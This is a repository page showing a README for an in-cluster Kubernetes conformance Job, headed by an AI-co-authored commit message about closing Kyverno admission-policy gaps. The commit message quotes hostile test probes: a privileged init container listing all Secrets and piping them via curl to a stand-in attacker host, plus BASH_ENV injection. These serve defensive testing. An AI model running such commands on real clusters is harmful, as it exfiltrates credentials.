0 Fork 0

Files

T

jakman85andClaude Opus 5 9f018aa101 fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open

Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

2026-09-29 22:49:44 -05:00

5.9 KiB

Raw Blame History

In-cluster conformance Job (L2/L3)

STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below. This document speaks as though no cluster exists and the platform is scaffolding. A three-node k3s cluster has existed for weeks and Flux has been reconciling against it. Gitea is live, the Actions runner incluster-dind is online, and main is a protected branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as describing a live gap rather than an expected stage — most importantly, L2/L3 conformance still does not run in CI (vars.CLUSTER_AVAILABLE is unset), which is a real coverage hole, not a phase.

This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on documentation rather than measurement, and main was unprotected with zero runners registered the whole time. Query the live API before asserting platform state.

Per ADR-0011 and docs/14 "Where each layer runs": L0/L1 run in CI without a cluster, but L2 behavioral and L3 fault-injection run as an in-cluster Chainsaw Job on the dev/test cluster that CI triggers and waits for. CI holds no cluster credentials — the Job's own scoped ServiceAccount does (R-SEC-02).

Files

rbac.yaml — the conformance namespace, the conformance-runner ServiceAccount, and a least-privilege ClusterRole skeleton. Rules start empty and are added — each commented with the test/requirement that needs it — only as the matching fault-injection test lands. This is a privileged test identity: never reused by workloads, its own audit item.
chainsaw-job.yaml — the run template (not reconciled; the trigger renders it per run). Single entrypoint ./run.sh; a clone init container delivers the suite at the commit under test; artifacts leave over stdout. Its header is the authority on the substitution tokens and the admission constraints it satisfies, and records the initContainers hole that was found and closed alongside it — read it before editing either file.
conformance-clone — arrives with PR #18, not this one. The clone init container's entire logic, baked into the runner image at /usr/local/bin/conformance-clone. It is a file in the image rather than an inline script in the Job precisely so admission can pin it: a policy cannot tell the committed script from an attacker's when both are just args on /bin/bash -c. The repository URL and clone target are hardcoded there on purpose, and CONFORMANCE_REPO_URL/CONFORMANCE_SRC are hard-failed on a mismatch rather than honoured — a URL taken from env would let the trigger choose which repository's code runs as conformance-runner. This branch's Job depends on that interface: CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN, a clone target of /workspace/src (hence workingDir: /workspace/src/conformance), and TMPDIR/HOME under /workspace.

Flow

CI (Gitea Actions) renders chainsaw-job.yaml — two @@TOKEN@@ substitutions, the runner image digest and the commit SHA — replaces args with the invocation shape, and creates the Job under the narrow conformance-trigger identity (create/get jobs, get pods + pods/log — not a broad kubeconfig, and deliberately no pods/exec).
Admission (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce + fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
The init container runs /usr/local/bin/conformance-clone with no args: it shallow-clones the repo into /workspace/src, fetches the commit if the shallow tip does not already contain it, detaches onto it, and asserts HEAD equals the requested SHA — the suite runs at the commit under test or not at all. The read-only Gitea credential reaches git as env vars from secretKeyRef (secret conformance-git-readonly, keys username/token), never as a volume: admission allows no volume but workspace and results.
The runner executes ./run.sh under conformance-runner, writing report.junit.xml + coverage/ to the results volume at /results (CONF_ARTIFACTS).
On exit — green, red or aborted — run.sh prints a delimited base64 tar of that tree to stdout, carrying bytes, lines and sha256 in both the BEGIN and END markers. CI decodes it from kubectl logs and must make all five completeness checks listed above conf_emit_artifacts_tgz() in ../run.sh; a partial log then fails collection instead of decoding to plausible garbage.

Prerequisites before this Job can run at all

Secret conformance-git-readonly in namespace conformance, keys username and token: a read-only Gitea token for this repository. Never a write token or a push-capable deploy key. Does not exist — operator, out of GitOps (plan §3 item 6).
The conformance-runner image (plan §5 step 1) — built in PR #18, which must merge before this template is usable; its digest is what the trigger substitutes. Contract the image MUST meet, because the Job and the admission policy both depend on it:
- bash, git, python3, chainsaw and kubectl on PATH;
- a uid 65532 non-root user — the Job's runAsUser/fsGroup pin it, so a different uid in the Containerfile means the Job will not start;
- conformance-clone installed at /usr/local/bin/conformance-clone, mode 0755. The policy rule trigger-initcontainers-must-be-the-committed-clone-step pins that exact path, so an image without it cannot run the clone step and no other path will be admitted.

Phase 0

No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux from Phase 1+ and first exercised when L2/L3 can run (T-3.0 onward). In Phase 0 the same run.sh runs in CI's no-cluster stage and emits a skipped JUnit + the coverage report.

5.9 KiB Raw Blame History